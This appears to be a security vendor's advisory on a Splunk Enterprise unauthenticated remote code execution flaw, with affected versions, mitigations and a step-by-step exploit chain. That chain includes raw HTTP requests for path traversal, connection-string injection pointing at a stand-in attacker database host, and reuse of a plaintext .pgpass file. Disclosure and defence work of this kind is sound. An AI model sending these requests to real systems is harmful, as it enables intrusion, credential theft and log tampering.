Critical Unauthenticated Remote Code Execution in Splunk Enterprise (CVE-2026-20253)

Introduction

Splunk disclosed a critical unauthenticated remote code execution (RCE) vulnerability in Splunk Enterprise tracked as CVE-2026-20253 on June 10, 2026. The vulnerability has a CVSS score of 9.8 and stems from missing authentication on a PostgreSQL sidecar service recovery endpoint that can be reached through the Splunk Web interface, which proxies requests to the internal PostgreSQL sidecar service without enforcing authentication. A successful attacker can create or truncate arbitrary files and ultimately achieve arbitrary code execution under the Splunk service account.

On June 12, 2026, watchTowr Labs published a technical deep-dive and proof-of-concept analysis. On June 18, 2026, Splunk updated its advisory to warn of active exploitation in the wild. On the same day, Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20253 to its Known Exploited Vulnerabilities (KEV) catalog. In addition, CISA mandated that all federal agencies must remediate the issue by June 21, 2026 as mandated by Binding Operational Directive (BOD) 26-04.

Splunk Enterprise is a centralized platform for collecting, indexing, and analyzing security and operational telemetry across an organization. As a result, attackers who compromise a Splunk Enterprise instance may be able to tamper with logs, suppress alerts, harvest sensitive data from indexed events, and use a Splunk host as a foothold to pivot deeper into the network infrastructure of a targeted organization.

Affected Versions

Affected

The following versions of Splunk Enterprise are affected by CVE-2026-20253 and should be updated immediately:

• 10.2.x (Prior to 10.2.4)
• 10.0.x (Prior to 10.0.7)

Not affected

• Splunk Enterprise versions 9.4 and earlier
• Splunk Cloud Platform (does not use the PostgreSQL sidecar service)

Recommendations

• Identify all Splunk Enterprise instances: Create an inventory of all Splunk Enterprise deployments in your organization’s infrastructure. Pay special attention to Amazon Web Services (AWS) deployments where the vulnerable PostgreSQL sidecar service may be enabled by default.
• Upgrade to fixed release: Upgrade Splunk Enterprise to a patched version to remediate.
• Disable the PostgreSQL sidecar service (temporary workaround if you cannot upgrade immediately): Add the following lines to $SPLUNK_HOME/etc/system/local/server.conf, then restart Splunk Enterprise:

[postgres]
disabled = true

Important: Do not apply this workaround if the instance uses Edge Processor, Open Process Control Unified Architecture Mapping (OpAmp), or Search Processing Language 2 (SPL2) data pipelines, as disabling PostgreSQL breaks these features. Core search, indexing, and dashboard functionality are not affected.

• Restrict network access to the management interface: Remove direct internet access to the Splunk Web interface (default TCP port 8000) by placing it behind a zero trust access layer with identity-based access controls. This helps prevent unauthenticated exploit attempts from reaching vulnerable endpoints.

How It Works

CVE-2026-20253 involves abuse of the PostgreSQL sidecar service recovery functionality exposed through Splunk Web. An attacker can chain multiple behaviors to progress from a limited file-operation primitive to arbitrary file write and, ultimately, code execution.

Possible execution

1. Initial access (unauthenticated reachability via proxy): An attacker sends a crafted HTTP POST request to the Splunk Web interface on port 8000. Splunk Web acts as a reverse proxy and forwards the request to an internal PostgreSQL sidecar recovery endpoint: /en-US/splunkd/__raw/v1/postgres/recovery/backup. Although the sidecar listens only on 127.0.0.1:5435, it becomes reachable remotely through this proxy path. The recovery endpoints accept any Authorization: Basic header value, including empty credentials (Og==, which decodes to a blank username and password). No valid credentials are required at any step. 

The request below creates an empty /tmp/poc file to test the vulnerability.

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 62

{"database":"postgres","backupFile":"/tmp/poc"}

2. Arbitrary file creation via path traversal: The backupFile parameter is passed directly to pg_dump as the output path with no validation. An attacker can supply path traversal sequences (for example, ../../../../../../tmp/backuptest) to create or truncate files at any writable location on the filesystem. At this stage, the resulting files are typically empty because the attacker cannot authenticate to the local database. The request below demonstrates a directory traversal to create a different file.

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 72

{"database":"postgres","backupFile":"../../../../../../tmp/backuptest"}

3. Connection string injection (dump attacker-controlled content): The attacker then coerces Splunk into connecting to an attacker-controlled PostgreSQL server instead of the local instance. By injecting connection string parameters (for example, hostaddr=attacker-db.com), the attacker can override the intended host and cause Splunk to fetch a database from the attacker’s server and write it to the specified backupFile. The request below demonstrates dumping attacker-controlled database content to /tmp/poc, overwriting any existing file.

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 62

{"database":"hostaddr=attacker-db.com","backupFile":"/tmp/poc"}

4. Credential theft via .pgpass reuse: Splunk stores PostgreSQL credentials in plaintext in: /opt/splunk/var/packages/data/postgres/.pgpass. By injecting a passfile parameter into the PostgreSQL connection string, the attacker can point PostgreSQL to this file and authenticate as the privileged postgres_admin user without knowing the password.

5. Remote code execution (RCE): With an arbitrary file write primitive, the attacker overwrites a Python script that Splunk executes on a schedule (for example): /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py. The payload runs under the Splunk service account during the next scheduled execution, resulting in unauthenticated RCE.

POST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic cG9zdGdyZXNfYWRtaW46
Content-Type: application/json
Content-Length: 111

{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/poc"}

6. Post-exploitation impact: After gaining execution, an attacker can tamper with or delete security telemetry to degrade detection and response, harvest stored credentials/API keys from indexed data, establish persistence, disable logging mechanisms, and pivot to other internal systems using Splunk’s network position and service account privileges.

Attack chain

The figure below shows the attack chain targeting Splunk Enterprise via CVE-2026-20253.

Figure 1: Diagram depicting the attack chain targeting Splunk Enterprise via CVE-2026-20253.

Conclusion

CVE-2026-20253 is a critical unauthenticated vulnerability in Splunk Enterprise that allows an unauthenticated remote attacker to reach the PostgreSQL sidecar recovery endpoints via Splunk Web and abuse them to create and write attacker-controlled files on the host. By chaining these primitives into an arbitrary file write, an attacker can achieve remote code execution as the Splunk service account, enabling log tampering and further compromise of internal systems.

How Zscaler Can Help

Zscaler’s cloud native Zero Trust network access (ZTNA) solution enables organizations to remove Splunk Web (and other administrative endpoints) from direct internet exposure. Use Zscaler Private Access (ZPA) to connect users to apps, with AI-powered user-to-app segmentation and prevent lateral threat movement with inside-out connections.

• Deploy comprehensive cyberthreat and data protection for private apps with integrated application protection, deception, and data protection.

The following table shows the typical attack stages and the mitigations recommended by Zscaler.

Zscaler Coverage

The Zscaler ThreatLabz team has deployed protection for CVE-2026-20253 with the following:

Zscaler Advanced Threat Protection

• App.Exploit.CVE-2026-20253

Zscaler Private Access AppProtection

• 6000500: Splunk Enterprise Unauthenticated Remote Code Execution (CVE-2026-20253)